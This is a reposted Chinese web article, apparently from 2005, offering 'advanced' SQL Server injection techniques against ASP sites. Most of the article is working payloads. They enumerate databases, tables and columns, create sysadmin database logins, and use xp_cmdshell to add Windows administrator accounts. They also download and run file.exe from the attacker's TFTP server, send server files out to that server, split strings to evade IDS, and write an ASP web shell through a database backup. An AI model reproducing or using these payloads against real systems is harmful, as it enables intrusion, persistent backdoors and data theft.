数据库

本类阅读TOP10

·SQL语句导入导出大全
·SQL Server日期计算
·SQL语句导入导出大全
·SQL to Excel 的应用
·Oracle中password file的作用及说明
·MS SQLServer OLEDB分布式事务无法启动的一般解决方案
·sqlserver2000数据库置疑的解决方法
·一个比较实用的大数据量分页存储过程
·如何在正运行 SQL Server 7.0 的服务器之间传输登录和密码
·SQL中两台服务器间使用连接服务器

分类导航
VC语言Delphi
VB语言ASP
PerlJava
Script数据库
其他语言游戏开发
文件格式网站制作
软件工程.NET开发
桂林老兵的SQLSERVER高级注入技巧

作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站

现在将老兵本人多年的SQLSERVER注入高级技巧奉献给支持老兵的朋友:


前言:
即是高级技巧,其它基本的注入方法就不详述了。
看不懂可查本站的注入基础文章。
为了更好的用好注入,建议大家看看本站的SQL语法相关文章


[获取全部数据库名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库


[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
select top 1 name from 数据库名.dbo.sysobjects where xtype='u' and status>0 and name not in('table')


[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
select top 1 数据库名.dbo.col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]


通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]


news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码,则用这句(将test的密码改为123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //将系统用户test提升为管理员


这样,你在他的数据库和系统内都留下了test管理员账号了


下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器,将69端口打开]


id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--


然后运行这个文件:
id=2; exec master.dbo.xp_cmdshell 'file.exe';--


下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:


id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--


绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'


新加的:


建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件
backup database dbname to disk='d:\web\db.asp';


报错得到系统操作系统和数据库系统版本号
id=2 and 1<>(select @@VERSION);



相关文章

相关软件